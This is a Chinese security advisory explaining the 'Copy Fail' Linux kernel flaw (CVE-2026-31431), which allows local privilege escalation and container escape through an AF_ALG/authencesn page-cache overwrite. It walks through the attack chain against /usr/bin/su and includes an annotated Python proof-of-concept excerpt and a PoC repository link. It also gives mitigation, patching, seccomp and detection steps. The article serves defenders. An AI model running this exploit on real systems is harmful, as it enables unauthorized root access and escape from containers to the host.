史诗级 Linux 内核漏洞Copy Fail | 9 年通杀 一键提权 容器逃逸

⚠️ 紧急：一段 732 字节的 Python 脚本，无需任何第三方依赖，可在主流 Linux 发行版上以接近 100% 的成功率完成本地提权，且可从容器内逃逸至宿主机。（文章内含PoC代码）

0x01 · 漏洞概述

    2026 年 4 月 29 日，安全研究团队 Theori 的 Xint Code 实验室公开了一个潜伏近 9 年的 Linux 内核本地提权漏洞，代号 "Copy Fail"。漏洞被分配编号 CVE-2026-31431，CVSS 评分 7.8。

    该漏洞由研究员 Taeyang Lee 在 AI 辅助内核审计中发现——这也标志着 AI 辅助安全研究正在从"噱头"走向实战。

    值得注意的是，该漏洞只修改页面缓存（page cache）而非磁盘文件，意味着改动在重启后消失，同时也让传统基于磁盘的完整性检测工具"看不见"它。

0x02 · 漏洞速览

0x03 · 影响范围

    由于 bug 早在 2017 年就已随 commit 72548b093ee3 进入内核主线，受影响的范围相当广。

0x04 · 技术原理深度解析

0x04_00 根本原因

    漏洞的核心在于 Linux 内核 crypto 子系统中一个"聪明过头"的优化。

    authencesn（认证加密模板）在进行 AEAD 解密时，会使用输出缓冲区末尾多出的 4 个字节作为临时工作区（scratch pad）。

    这本不是问题，因为正常调用者会预留足够空间。但 algif_aead（AF_ALG 的 AEAD 接口）在 2017 年引入了一个"原地优化"（in-place optimization）——它直接把页面缓存（page cache）中的内存页放入可写的 scatterlist 中传给 crypto 层。

    结果就是：authencesn 在解密过程中会向页面缓存写入超出缓冲区边界 4 个字节。这 4 个字节的越界写入覆盖的是页面缓存中相邻文件的数据。

0x04_01 攻击链（四步走）

▶ 攻击流程┌─────────────────────────────────────────────────┐│  Step 1 初始访问：获取普通用户 shell                ││  （Web 漏洞 / 钓鱼 / SSH 弱口令 / 任意方式）         │└──────────────────────┬──────────────────────────┘                       ▼┌─────────────────────────────────────────────────┐│  Step 2 触发 splice()：将目标文件页映射到           ││  AF_ALG socket，触发 AEAD 解密管道                │└──────────────────────┬──────────────────────────┘                       ▼┌─────────────────────────────────────────────────┐│  Step 3 4 字节越界写：authencesn 解密时            ││  意外修改相邻页面缓存（覆盖 setuid 二进制文件）        │└──────────────────────┬──────────────────────────┘                       ▼┌─────────────────────────────────────────────────┐│  Step 4 权限提升：执行被篡改的 setuid 程序           ││  获得root shell 🎯                               │└─────────────────────────────────────────────────┘

    默认攻击目标是 /usr/bin/su——一个 setuid-root 二进制文件。攻击者通过精心构造页面缓存布局，让越界的 4 字节精确覆盖这个文件的关键位置，注入自定义的机器码。执行修改后的 su 即可获得 root 权限。

0x04_02 容器逃逸机制

    Copy Fail 的容器逃逸利用了一个关键特性：容器与宿主机共享页面缓存。即使在容器内，对页面缓存的修改也会反映到宿主机上（直到页面被淘汰或系统重启）。

这意味着：

• 攻击者在容器内执行 PoC，篡改宿主机上 /usr/bin/su 的页面缓存

• 宿主机用户（或其他容器）执行 su 时，读取的是被篡改的缓存版本

• 即使磁盘上的文件完好，运行的就是被植入的恶意代码

0x04_03 PoC 代码概览

完整 PoC 仅 732 字节，使用纯 Python 标准库：

#!/usr/bin/env python3import os as g, zlib, socket as s# 十六进制转字节def d(x): return bytes.fromhex(x)# 核心利用函数def c(f, t, c):# 创建 AF_ALG socketa = s.socket(38, 5, 0)a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))# 38 = AF_ALG, 5 = SOCK_SEQPACKETh = 279 # SOL_ALGv = a.setsockopt# 设置加密密钥（256位）v(h, 1, d('0800010000000010' + '0'*64))v(h, 5, None, 4)u, _ = a.accept() # 拿到 algif_aead fdo = t + 4 # 输出长度 = 目标 + 4（越界空间）i = d('00')# 发送 AEAD 请求u.sendmsg([b"A"*4 + c],[(h, 3, i*4), # 关联数据(h, 2, b'\x10'+i*19), # 初始化向量(h, 4, b'\x08'+i*3)], # 认证标签32768)# splice() 零拷贝送入 socketr, w = g.pipe()n = g.splicen(f, w, o, offset_src=0) # 文件 → 管道n(r, u.fileno(), o) # 管道 → AF_ALGtry: u.recv(8 + t) # 触发解密，完成越界写except: 0

代码结构拆解：第 1-2 行 — 导入。只用了 os、zlib、socket，全是 Python 标准库。zlib 用于处理 ELF 文件头，构造目标偏移。第 6-8 行 — 创建 AF_ALG socket 并绑定到 authencesn 算法。告诉内核："我要用 AES-CBC 加密 + HMAC-SHA256 认证的组合。" 常量 38 是 AF_ALG 的协议族编号，5 是 SOCK_SEQPACKET 类型。第 10-11 行 — 设置 256 位加密密钥。这里用全零密钥，因为漏洞利用并不关心加密正确性——它要的是那个越界写入的副作用。第 13-17 行 — accept() 拿到 algif_aead 文件描述符，设置输出长度为 t + 4。这个 "+4" 就是越界写入的空间。第 19-23 行 — sendmsg() 发送 AEAD 解密请求的参数：关联数据、初始化向量和认证标签。这些参数的值不影响漏洞触发，只要格式正确就行。第 25-28 行 — 最关键的部分。创建管道，用 splice() 把目标文件内容零拷贝送入 AF_ALG socket。splice() 的精妙之处在于：数据直接在内核中从文件页缓存流向 socket 缓冲区，完全绕过用户空间。第 30-31 行 — recv() 触发实际的解密操作。内核处理时，authencesn 往输出缓冲区末尾多写 4 字节，越界写入完成。整个过程不涉及任何竞争、不需要精确时序、不需要特殊硬件。Python 3.10+ 装好就能跑。GitHub 仓库：https://github.com/theori-io/copy-fail-CVE-2026-31431

0x05 · 紧急应对方案

0x05_00 立即禁用 algif_aead（临时缓解）

    这是最快、最直接的缓解措施。禁用 algif_aead 内核模块可以阻断攻击路径：

# 禁止加载 algif_aead 模块echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf# 尝试卸载（如果未被占用）sudo rmmod algif_aead 2>/dev/null || true# 更新 initramfs 并重启（如可能）sudo update-initramfs -u && sudo reboot

⚠️ 注意：禁用此模块可能影响依赖 AF_ALG AEAD 接口的应用程序（如某些加密代理），请在测试环境验证后再部署到生产。

0x05_01 升级内核（彻底修复）

    各发行版正在推送包含修复的安全更新，主线内核修复 commit 为 a664bf3d603d：

# Ubuntu / Debiansudo apt update && sudo apt upgrade# RHEL / CentOSsudo dnf update kernel# Arch Linuxsudo pacman -Syu

⚠️ 注意：升级后必须重启才能加载修复后的内核。

0x05_02 云平台用户

    如果你使用的是云服务器，请关注平台公告并及时执行主机内核升级。部分云平台可能会提供热修复或自动补丁功能。

0x05_03 容器安全加固

    对于 Kubernetes 环境，建议通过 seccomp 策略限制容器对 AF_ALG 的访问：

# Kubernetes Pod 安全策略示例seccompProfile:  type: Localhost  localhostProfile: block-af_alg.json

    同时建议启用 Pod Security Standards 的 restricted 策略，并使用非 root 容器运行。

0x05_04 应对优先级建议

0x06 · 漏洞检测与验证

🖥️ 快速检测命令

# 检查内核版本（2017年后的内核均为高危）uname -a# 检查 algif_aead 模块是否已加载lsmod | grep algif_aead# 检查内核配置是否编译了该模块grep -r "algif_aead" /boot/config-$(uname -r) 2>/dev/null# 检查当前系统是否有 AF_ALG AEAD socket 活跃ss -xa | grep aead

📄 文件完整性监控

    鉴于 Copy Fail 仅修改页面缓存而不触碰磁盘，传统的文件完整性监控工具需要特殊配置才能有效检测：

0x07 · 与传统漏洞对比

    Linux 内核提权漏洞并不罕见，但 Copy Fail 的组合特性让它格外值得关注。以下是与两个"名场面"级漏洞的对比：

    可以看到，Copy Fail 在几乎所有维度上都"超越"了前辈：更稳定的利用、更小的代码、更强的隐蔽性、更直接的容器逃逸能力。如果 Dirty Cow 是 Linux 提权漏洞的"教科书"，那 Copy Fail 可能是"终极简化版"。

0x08 · 深度防御策略

    面对此类内核漏洞，单点防护是不够的。建议从四个层面构建纵深防御体系：

0x09 · 各发行版修复时间线

    漏洞于 2026 年 3 月 23 日报告，4 月 29 日公开披露。各发行版修复进度如下（截至 2026 年 4 月 30 日）：

📌 建议持续关注各发行版安全公告，第一时间安装更新。

0x0A · 最佳实践建议

0x0B · 总结

    CVE-2026-31431（Copy Fail）是一个"教科书级"的内核漏洞案例：一个 2017 年的优化引入了直线逻辑缺陷，潜伏 9 年后被 AI 辅助审计发现，最终以一段 732 字节的 Python 代码揭开了它的影响力。

🔗 参考链接

• Copy Fail 官方站点 — 漏洞概览、PoC 下载

• GitHub PoC 仓库 — 完整利用代码

• Xint.io 技术博文 — 详细技术分析

• 内核修复 Commit — a664bf3d603d

• 引入 Bug 的 Commit — 72548b093ee3 (2017)

⚠️ 免责声明：本文仅供安全研究和防御目的。任何未经授权对他人系统进行漏洞利用的行为均属违法。请勿将 PoC 用于恶意目的。建议在受控环境中进行测试验证。